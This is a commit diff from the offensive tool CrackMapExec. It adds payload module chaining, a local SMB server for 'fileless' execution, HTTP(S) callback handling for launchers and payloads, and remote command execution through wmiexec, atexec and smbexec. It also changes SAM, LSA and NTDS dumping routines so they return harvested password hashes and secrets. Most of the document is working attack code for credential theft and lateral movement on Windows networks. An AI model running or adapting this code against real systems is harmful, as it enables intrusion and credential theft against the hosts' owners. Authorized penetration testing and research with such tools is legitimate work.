Initial implementation of module chaining
Oook, this commit is basicallu just so I can start tracking (and testing) all of the changes made so far: - All execution methods are now completely fileless, all output and/or batch files get outputted/hosted locally on a SMB server that gets spun up on runtime - Module structure has been modified for module chaining - Module chaining implementation is currently very hacky, I definitly have to figure out something more elegant but for now it works. Module chaining is performed via the -MC flag and has it's own mini syntax (will be adding it to the wiki) - You can now specify credential ID ranges using the -id flag - Added the eventvwr_bypass and rundll32_exec modules - Renamed a lot of the modules for naming consistency TODO: - Launchers/Payloads need to be escaped before being generated when module chaining - Add check for modules 'required_server' attribute - Finish modifying the functions in the Connection object so they return the resultsmain
parent
e67fc4ca8f
commit
db056d1ab4
|
@ -0,0 +1,109 @@
|
||||||
|
import BaseHTTPServer
|
||||||
|
import threading
|
||||||
|
import ssl
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
|
from logging import getLogger
|
||||||
|
from gevent import sleep
|
||||||
|
from cme.helpers import highlight
|
||||||
|
from cme.logger import CMEAdapter
|
||||||
|
from cme.cmeserver import CMEServer
|
||||||
|
|
||||||
|
class RequestHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
module = self.server.host_chain[self.client_address[0]][0]
|
||||||
|
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
||||||
|
server_logger.info("- - %s" % (format%args))
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
current_module = self.server.host_chain[self.client_address[0]][0]
|
||||||
|
|
||||||
|
if hasattr(current_module, 'on_request'):
|
||||||
|
|
||||||
|
module_list = self.server.host_chain[self.client_address[0]][:]
|
||||||
|
module_list.reverse()
|
||||||
|
|
||||||
|
final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
|
||||||
|
if len(module_list) > 2:
|
||||||
|
for module in module_list:
|
||||||
|
if module == current_module or module == module_list[0]:
|
||||||
|
continue
|
||||||
|
|
||||||
|
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
||||||
|
self.server.context.log = server_logger
|
||||||
|
|
||||||
|
final_launcher = module.launcher(self.server.context, final_launcher)
|
||||||
|
|
||||||
|
server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
|
||||||
|
self.server.context.log = server_logger
|
||||||
|
|
||||||
|
if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command
|
||||||
|
|
||||||
|
launcher = current_module.launcher(self.server.context, final_launcher)
|
||||||
|
payload = current_module.payload(self.server.context, final_launcher)
|
||||||
|
|
||||||
|
current_module.on_request(self.server.context, self, launcher, payload)
|
||||||
|
|
||||||
|
if not hasattr(current_module, 'on_response'):
|
||||||
|
try:
|
||||||
|
del self.server.host_chain[self.client_address[0]][0]
|
||||||
|
except KeyError or IndexError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
self.server.log.debug(self.server.host_chain)
|
||||||
|
module = self.server.host_chain[self.client_address[0]][0]
|
||||||
|
|
||||||
|
if hasattr(module, 'on_response'):
|
||||||
|
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
|
||||||
|
self.server.context.log = server_logger
|
||||||
|
module.on_response(self.server.context, self)
|
||||||
|
|
||||||
|
try:
|
||||||
|
del self.server.host_chain[self.client_address[0]][0]
|
||||||
|
except KeyError or IndexError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def stop_tracking_host(self):
|
||||||
|
'''
|
||||||
|
This gets called when a module has finshed executing, removes the host from the connection tracker list
|
||||||
|
'''
|
||||||
|
if len(self.server.host_chain[self.client_address[0]]) == 1:
|
||||||
|
try:
|
||||||
|
self.server.hosts.remove(self.client_address[0])
|
||||||
|
del self.server.host_chain[self.client_address[0]]
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
class CMEChainServer(CMEServer):
|
||||||
|
|
||||||
|
def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):
|
||||||
|
|
||||||
|
try:
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
|
||||||
|
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
|
||||||
|
self.server.hosts = []
|
||||||
|
self.server.host_chain = {}
|
||||||
|
self.server.chain_list = chain_list
|
||||||
|
self.server.context = context
|
||||||
|
self.server.log = context.log
|
||||||
|
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
|
||||||
|
|
||||||
|
if server_type == 'https':
|
||||||
|
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
errno, message = e.args
|
||||||
|
if errno == 98 and message == 'Address already in use':
|
||||||
|
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
|
||||||
|
else:
|
||||||
|
logger.error('Error starting HTTP(S) server: {}'.format(message))
|
||||||
|
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def track_host(self, host_ip):
|
||||||
|
self.server.hosts.append(host_ip)
|
||||||
|
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]
|
|
@ -3,7 +3,6 @@ import threading
|
||||||
import ssl
|
import ssl
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
from getpass import getuser
|
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from gevent import sleep
|
from gevent import sleep
|
||||||
|
@ -20,7 +19,11 @@ class RequestHandler(BaseHTTPRequestHandler):
|
||||||
if hasattr(self.server.module, 'on_request'):
|
if hasattr(self.server.module, 'on_request'):
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||||
self.server.context.log = server_logger
|
self.server.context.log = server_logger
|
||||||
self.server.module.on_request(self.server.context, self)
|
|
||||||
|
launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
|
||||||
|
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
|
||||||
|
|
||||||
|
self.server.module.on_request(self.server.context, self, launcher, payload)
|
||||||
|
|
||||||
def do_POST(self):
|
def do_POST(self):
|
||||||
if hasattr(self.server.module, 'on_response'):
|
if hasattr(self.server.module, 'on_response'):
|
||||||
|
@ -41,10 +44,6 @@ class CMEServer(threading.Thread):
|
||||||
|
|
||||||
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
|
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
|
||||||
|
|
||||||
if port <= 1024 and os.geteuid() != 0:
|
|
||||||
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
threading.Thread.__init__(self)
|
threading.Thread.__init__(self)
|
||||||
|
|
||||||
|
@ -61,15 +60,18 @@ class CMEServer(threading.Thread):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
errno, message = e.args
|
errno, message = e.args
|
||||||
if errno == 98 and message == 'Address already in use':
|
if errno == 98 and message == 'Address already in use':
|
||||||
logger.error('Error starting CME server: the port is already in use, try specifying a diffrent port using --server-port')
|
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
|
||||||
else:
|
else:
|
||||||
logger.error('Error starting CME server: {}'.format(message))
|
logger.error('Error starting HTTP(S) server: {}'.format(message))
|
||||||
|
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
def base_server(self):
|
def base_server(self):
|
||||||
return self.server
|
return self.server
|
||||||
|
|
||||||
|
def track_host(self, host_ip):
|
||||||
|
self.server.hosts.append(host_ip)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
try:
|
try:
|
||||||
self.server.serve_forever()
|
self.server.serve_forever()
|
||||||
|
|
|
@ -0,0 +1,50 @@
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
from impacket import smbserver
|
||||||
|
|
||||||
|
class CMESMBServer(threading.Thread):
|
||||||
|
|
||||||
|
def __init__(self, logger, share_name, verbose=False):
|
||||||
|
|
||||||
|
try:
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
|
||||||
|
self.server = smbserver.SimpleSMBServer()
|
||||||
|
self.server.addShare(share_name.upper(), os.path.join('/tmp', 'cme_hosted'))
|
||||||
|
if verbose: self.server.setLogFile('')
|
||||||
|
self.server.setSMB2Support(False)
|
||||||
|
self.server.setSMBChallenge('')
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
errno, message = e.args
|
||||||
|
if errno == 98 and message == 'Address already in use':
|
||||||
|
logger.error('Error starting SMB server: the port is already in use')
|
||||||
|
else:
|
||||||
|
logger.error('Error starting SMB server: {}'.format(message))
|
||||||
|
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
try:
|
||||||
|
self.server.start()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def shutdown(self):
|
||||||
|
#try:
|
||||||
|
# while len(self.server.hosts) > 0:
|
||||||
|
# self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
|
||||||
|
# sleep(15)
|
||||||
|
#except KeyboardInterrupt:
|
||||||
|
# pass
|
||||||
|
|
||||||
|
self._Thread__stop()
|
||||||
|
# make sure all the threads are killed
|
||||||
|
for thread in threading.enumerate():
|
||||||
|
if thread.isAlive():
|
||||||
|
try:
|
||||||
|
thread._Thread__stop()
|
||||||
|
except:
|
||||||
|
pass
|
|
@ -41,12 +41,14 @@ def requires_admin(func):
|
||||||
|
|
||||||
class Connection:
|
class Connection:
|
||||||
|
|
||||||
def __init__(self, args, db, host, module, cmeserver):
|
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
|
||||||
self.args = args
|
self.args = args
|
||||||
self.db = db
|
self.db = db
|
||||||
self.host = host
|
self.host = host
|
||||||
self.module = module
|
self.module = module
|
||||||
|
self.chain_list = chain_list
|
||||||
self.cmeserver = cmeserver
|
self.cmeserver = cmeserver
|
||||||
|
self.share_name = share_name
|
||||||
self.conn = None
|
self.conn = None
|
||||||
self.hostname = None
|
self.hostname = None
|
||||||
self.domain = None
|
self.domain = None
|
||||||
|
@ -148,9 +150,13 @@ class Connection:
|
||||||
|
|
||||||
self.login()
|
self.login()
|
||||||
|
|
||||||
if ((self.password is not None or self.hash is not None) and self.username is not None):
|
if (self.password is not None or self.hash is not None) and self.username is not None:
|
||||||
|
|
||||||
|
if self.module or self.chain_list:
|
||||||
|
|
||||||
|
if self.chain_list:
|
||||||
|
module = self.chain_list[0]['object']
|
||||||
|
|
||||||
if self.module:
|
|
||||||
module_logger = CMEAdapter(getLogger('CME'), {
|
module_logger = CMEAdapter(getLogger('CME'), {
|
||||||
'module': module.name.upper(),
|
'module': module.name.upper(),
|
||||||
'host': self.host,
|
'host': self.host,
|
||||||
|
@ -163,13 +169,42 @@ class Connection:
|
||||||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||||
cmeserver.server.context.localip = local_ip
|
cmeserver.server.context.localip = local_ip
|
||||||
|
|
||||||
|
if self.module:
|
||||||
|
|
||||||
|
launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
|
||||||
|
payload = module.payload(context, None if not hasattr(module, 'command') else module.command)
|
||||||
|
|
||||||
|
if hasattr(module, 'on_login'):
|
||||||
|
module.on_login(context, self, launcher, payload)
|
||||||
|
|
||||||
|
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
||||||
|
module.on_admin_login(context, self, launcher, payload)
|
||||||
|
|
||||||
|
elif self.chain_list:
|
||||||
|
module_list = self.chain_list[:]
|
||||||
|
module_list.reverse()
|
||||||
|
|
||||||
|
final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
|
||||||
|
if len(module_list) > 2:
|
||||||
|
for m in module_list:
|
||||||
|
if m['object'] == module or m['object'] == module_list[0]['object']:
|
||||||
|
continue
|
||||||
|
|
||||||
|
final_launcher = m['object'].launcher(context, final_launcher)
|
||||||
|
|
||||||
|
if module == module_list[0]['object']:
|
||||||
|
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
|
||||||
|
|
||||||
|
launcher = module.launcher(context, final_launcher)
|
||||||
|
payload = module.payload(context, final_launcher)
|
||||||
|
|
||||||
if hasattr(module, 'on_login'):
|
if hasattr(module, 'on_login'):
|
||||||
module.on_login(context, self)
|
module.on_login(context, self)
|
||||||
|
|
||||||
if hasattr(module, 'on_admin_login') and self.admin_privs:
|
if self.admin_privs and hasattr(module, 'on_admin_login'):
|
||||||
module.on_admin_login(context, self)
|
module.on_admin_login(context, self, launcher, payload)
|
||||||
|
|
||||||
elif self.module is None:
|
elif self.module is None and self.chain_list is None:
|
||||||
for k, v in vars(self.args).iteritems():
|
for k, v in vars(self.args).iteritems():
|
||||||
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
|
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
|
||||||
if v is not False and v is not None:
|
if v is not False and v is not None:
|
||||||
|
@ -345,16 +380,16 @@ class Connection:
|
||||||
for cred_id in self.args.cred_id:
|
for cred_id in self.args.cred_id:
|
||||||
with sem:
|
with sem:
|
||||||
try:
|
try:
|
||||||
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
|
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]
|
||||||
|
|
||||||
if not domain: domain = self.domain
|
if not domain: domain = self.domain
|
||||||
if self.args.domain: domain = self.args.domain
|
if self.args.domain: domain = self.args.domain
|
||||||
|
|
||||||
if credtype == 'hash' and not self.over_fail_limit(username):
|
if credtype == 'hash' and not self.over_fail_limit(username):
|
||||||
self.hash_login(domain, username, password)
|
if self.hash_login(domain, username, password): return
|
||||||
|
|
||||||
elif credtype == 'plaintext' and not self.over_fail_limit(username):
|
elif credtype == 'plaintext' and not self.over_fail_limit(username):
|
||||||
self.plaintext_login(domain, username, password)
|
if self.plaintext_login(domain, username, password): return
|
||||||
|
|
||||||
except IndexError:
|
except IndexError:
|
||||||
self.logger.error("Invalid database credential ID!")
|
self.logger.error("Invalid database credential ID!")
|
||||||
|
@ -442,7 +477,7 @@ class Connection:
|
||||||
|
|
||||||
if method == 'wmiexec':
|
if method == 'wmiexec':
|
||||||
try:
|
try:
|
||||||
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
||||||
logging.debug('Executed command via wmiexec')
|
logging.debug('Executed command via wmiexec')
|
||||||
break
|
break
|
||||||
except:
|
except:
|
||||||
|
@ -452,7 +487,7 @@ class Connection:
|
||||||
|
|
||||||
elif method == 'atexec':
|
elif method == 'atexec':
|
||||||
try:
|
try:
|
||||||
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
|
exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
|
||||||
logging.debug('Executed command via atexec')
|
logging.debug('Executed command via atexec')
|
||||||
break
|
break
|
||||||
except:
|
except:
|
||||||
|
@ -462,7 +497,7 @@ class Connection:
|
||||||
|
|
||||||
elif method == 'smbexec':
|
elif method == 'smbexec':
|
||||||
try:
|
try:
|
||||||
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
||||||
logging.debug('Executed command via smbexec')
|
logging.debug('Executed command via smbexec')
|
||||||
break
|
break
|
||||||
except:
|
except:
|
||||||
|
@ -470,9 +505,7 @@ class Connection:
|
||||||
logging.debug(format_exc())
|
logging.debug(format_exc())
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if self.cmeserver:
|
if self.cmeserver: self.cmeserver.track_host(self.host)
|
||||||
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
|
|
||||||
self.cmeserver.server.hosts.append(self.host)
|
|
||||||
|
|
||||||
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
|
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
|
||||||
|
|
||||||
|
@ -502,7 +535,9 @@ class Connection:
|
||||||
|
|
||||||
@requires_admin
|
@requires_admin
|
||||||
def ntds(self):
|
def ntds(self):
|
||||||
return DumpSecrets(self).NTDS_dump()
|
#We could just return the whole NTDS.dit database but in large domains it would be huge
|
||||||
|
#and would take up too much memory
|
||||||
|
DumpSecrets(self).NTDS_dump()
|
||||||
|
|
||||||
@requires_admin
|
@requires_admin
|
||||||
def wdigest(self):
|
def wdigest(self):
|
||||||
|
|
|
@ -10,10 +10,14 @@ from argparse import RawTextHelpFormatter
|
||||||
from cme.connection import Connection
|
from cme.connection import Connection
|
||||||
from cme.database import CMEDatabase
|
from cme.database import CMEDatabase
|
||||||
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
|
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
|
||||||
from cme.helpers import highlight
|
from cme.helpers import highlight, gen_random_string
|
||||||
from cme.targetparser import parse_targets
|
from cme.targetparser import parse_targets
|
||||||
from cme.moduleloader import ModuleLoader
|
from cme.moduleloader import ModuleLoader
|
||||||
|
from cme.modulechainloader import ModuleChainLoader
|
||||||
|
from cme.cmesmbserver import CMESMBServer
|
||||||
from cme.first_run import first_run_setup
|
from cme.first_run import first_run_setup
|
||||||
|
from getpass import getuser
|
||||||
|
from pprint import pformat
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import argparse
|
import argparse
|
||||||
import os
|
import os
|
||||||
|
@ -56,7 +60,7 @@ def main():
|
||||||
|
|
||||||
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
|
||||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
|
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
|
||||||
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=int, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
parser.add_argument('-id', metavar="CRED_ID", nargs='*', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
|
||||||
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
|
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
|
||||||
ddgroup = parser.add_mutually_exclusive_group()
|
ddgroup = parser.add_mutually_exclusive_group()
|
||||||
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
|
||||||
|
@ -64,7 +68,9 @@ def main():
|
||||||
msgroup = parser.add_mutually_exclusive_group()
|
msgroup = parser.add_mutually_exclusive_group()
|
||||||
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
|
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
|
||||||
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
|
||||||
parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use')
|
mcgroup = parser.add_mutually_exclusive_group()
|
||||||
|
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
|
||||||
|
mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
|
||||||
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
|
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
|
||||||
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
|
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
|
||||||
parser.add_argument('--show-options', action='store_true', help='Display module options')
|
parser.add_argument('--show-options', action='store_true', help='Display module options')
|
||||||
|
@ -132,17 +138,24 @@ def main():
|
||||||
cme_path = os.path.expanduser('~/.cme')
|
cme_path = os.path.expanduser('~/.cme')
|
||||||
|
|
||||||
module = None
|
module = None
|
||||||
|
chain_list = None
|
||||||
server = None
|
server = None
|
||||||
context = None
|
context = None
|
||||||
|
smb_server = None
|
||||||
|
share_name = gen_random_string(5).upper()
|
||||||
targets = []
|
targets = []
|
||||||
server_port_dict = {'http': 80, 'https': 443}
|
server_port_dict = {'http': 80, 'https': 443}
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
if args.verbose:
|
if args.verbose:
|
||||||
setup_debug_logger()
|
setup_debug_logger()
|
||||||
|
|
||||||
logging.debug(vars(args))
|
logging.debug('Passed args:\n' + pformat(vars(args)))
|
||||||
|
|
||||||
if not args.server_port:
|
if not args.server_port:
|
||||||
args.server_port = server_port_dict[args.server]
|
args.server_port = server_port_dict[args.server]
|
||||||
|
@ -172,6 +185,14 @@ def main():
|
||||||
args.hash.remove(ntlm_hash)
|
args.hash.remove(ntlm_hash)
|
||||||
args.hash.append(open(ntlm_hash, 'r'))
|
args.hash.append(open(ntlm_hash, 'r'))
|
||||||
|
|
||||||
|
if args.cred_id:
|
||||||
|
for cred_id in args.cred_id:
|
||||||
|
if '-' in str(cred_id):
|
||||||
|
start_id, end_id = cred_id.split('-')
|
||||||
|
for n in range(int(start_id), int(end_id) + 1):
|
||||||
|
args.cred_id.append(n)
|
||||||
|
args.cred_id.remove(cred_id)
|
||||||
|
|
||||||
for target in args.target:
|
for target in args.target:
|
||||||
if os.path.exists(target):
|
if os.path.exists(target):
|
||||||
with open(target, 'r') as target_file:
|
with open(target, 'r') as target_file:
|
||||||
|
@ -186,7 +207,7 @@ def main():
|
||||||
|
|
||||||
if args.list_modules:
|
if args.list_modules:
|
||||||
for m in modules:
|
for m in modules:
|
||||||
logger.info('{:<20} {}'.format(m, modules[m]['description']))
|
logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
elif args.module and args.show_options:
|
elif args.module and args.show_options:
|
||||||
|
@ -200,13 +221,20 @@ def main():
|
||||||
if args.module.lower() == m.lower():
|
if args.module.lower() == m.lower():
|
||||||
module, context, server = loader.init_module(modules[m]['path'])
|
module, context, server = loader.init_module(modules[m]['path'])
|
||||||
|
|
||||||
|
elif args.module_chain:
|
||||||
|
chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()
|
||||||
|
|
||||||
|
if args.execute or args.ps_execute or args.module or args.module_chain:
|
||||||
|
smb_server = CMESMBServer(logger, share_name, args.verbose)
|
||||||
|
smb_server.start()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
'''
|
'''
|
||||||
Open all the greenlet (as supposed to redlet??) threads
|
Open all the greenlet (as supposed to redlet??) threads
|
||||||
Whoever came up with that name has a fetish for traffic lights
|
Whoever came up with that name has a fetish for traffic lights
|
||||||
'''
|
'''
|
||||||
pool = Pool(args.threads)
|
pool = Pool(args.threads)
|
||||||
jobs = [pool.spawn(Connection, args, db, str(target), module, server) for target in targets]
|
jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]
|
||||||
|
|
||||||
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
|
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
|
||||||
if args.ntds or args.spider:
|
if args.ntds or args.spider:
|
||||||
|
@ -220,4 +248,8 @@ def main():
|
||||||
if server:
|
if server:
|
||||||
server.shutdown()
|
server.shutdown()
|
||||||
|
|
||||||
|
if smb_server:
|
||||||
|
pass
|
||||||
|
#smb_server.shutdown()
|
||||||
|
|
||||||
logger.info('KTHXBYE!')
|
logger.info('KTHXBYE!')
|
|
@ -181,6 +181,8 @@ class LSASecrets(OfflineRegistry):
|
||||||
self.__cachedItems.append(answer)
|
self.__cachedItems.append(answer)
|
||||||
self.__logger.highlight(answer)
|
self.__logger.highlight(answer)
|
||||||
|
|
||||||
|
return self.__cachedItems
|
||||||
|
|
||||||
def __printSecret(self, name, secretItem):
|
def __printSecret(self, name, secretItem):
|
||||||
# Based on [MS-LSAD] section 3.1.1.4
|
# Based on [MS-LSAD] section 3.1.1.4
|
||||||
|
|
||||||
|
@ -302,6 +304,8 @@ class LSASecrets(OfflineRegistry):
|
||||||
|
|
||||||
self.__printSecret(key, secret)
|
self.__printSecret(key, secret)
|
||||||
|
|
||||||
|
return self.__secretItems
|
||||||
|
|
||||||
def exportSecrets(self, fileName):
|
def exportSecrets(self, fileName):
|
||||||
if len(self.__secretItems) > 0:
|
if len(self.__secretItems) > 0:
|
||||||
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
|
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
|
||||||
|
|
|
@ -67,6 +67,7 @@ class SAMHashes(OfflineRegistry):
|
||||||
def dump(self):
|
def dump(self):
|
||||||
NTPASSWORD = "NTPASSWORD\0"
|
NTPASSWORD = "NTPASSWORD\0"
|
||||||
LMPASSWORD = "LMPASSWORD\0"
|
LMPASSWORD = "LMPASSWORD\0"
|
||||||
|
sam_hashes = []
|
||||||
|
|
||||||
if self.__samFile is None:
|
if self.__samFile is None:
|
||||||
# No SAM file provided
|
# No SAM file provided
|
||||||
|
@ -114,8 +115,11 @@ class SAMHashes(OfflineRegistry):
|
||||||
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
||||||
self.__itemsFound[rid] = answer
|
self.__itemsFound[rid] = answer
|
||||||
self.__logger.highlight(answer)
|
self.__logger.highlight(answer)
|
||||||
|
sam_hashes.append(answer)
|
||||||
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
|
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
|
||||||
|
|
||||||
|
return sam_hashes
|
||||||
|
|
||||||
def export(self, fileName):
|
def export(self, fileName):
|
||||||
if len(self.__itemsFound) > 0:
|
if len(self.__itemsFound) > 0:
|
||||||
items = sorted(self.__itemsFound)
|
items = sorted(self.__itemsFound)
|
||||||
|
|
|
@ -97,32 +97,47 @@ class DumpSecrets:
|
||||||
|
|
||||||
def SAM_dump(self):
|
def SAM_dump(self):
|
||||||
self.enableRemoteRegistry()
|
self.enableRemoteRegistry()
|
||||||
|
sam_hashes = []
|
||||||
try:
|
try:
|
||||||
SAMFileName = self.__remoteOps.saveSAM()
|
SAMFileName = self.__remoteOps.saveSAM()
|
||||||
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True)
|
self.__SAMHashes = SAMHashes(SAMFileName,
|
||||||
self.__SAMHashes.dump()
|
self.__bootKey,
|
||||||
|
self.__logger,
|
||||||
|
self.__db,
|
||||||
|
self.__host,
|
||||||
|
self.__hostname,
|
||||||
|
isRemote = True)
|
||||||
|
sam_hashes.extend(self.__SAMHashes.dump())
|
||||||
self.__SAMHashes.export(self.__outputFileName)
|
self.__SAMHashes.export(self.__outputFileName)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
logging.error('SAM hashes extraction failed: %s' % str(e))
|
logging.error('SAM hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
|
return sam_hashes
|
||||||
|
|
||||||
def LSA_dump(self):
|
def LSA_dump(self):
|
||||||
self.enableRemoteRegistry()
|
self.enableRemoteRegistry()
|
||||||
|
lsa_secrets = []
|
||||||
try:
|
try:
|
||||||
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
||||||
|
|
||||||
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote)
|
self.__LSASecrets = LSASecrets(SECURITYFileName,
|
||||||
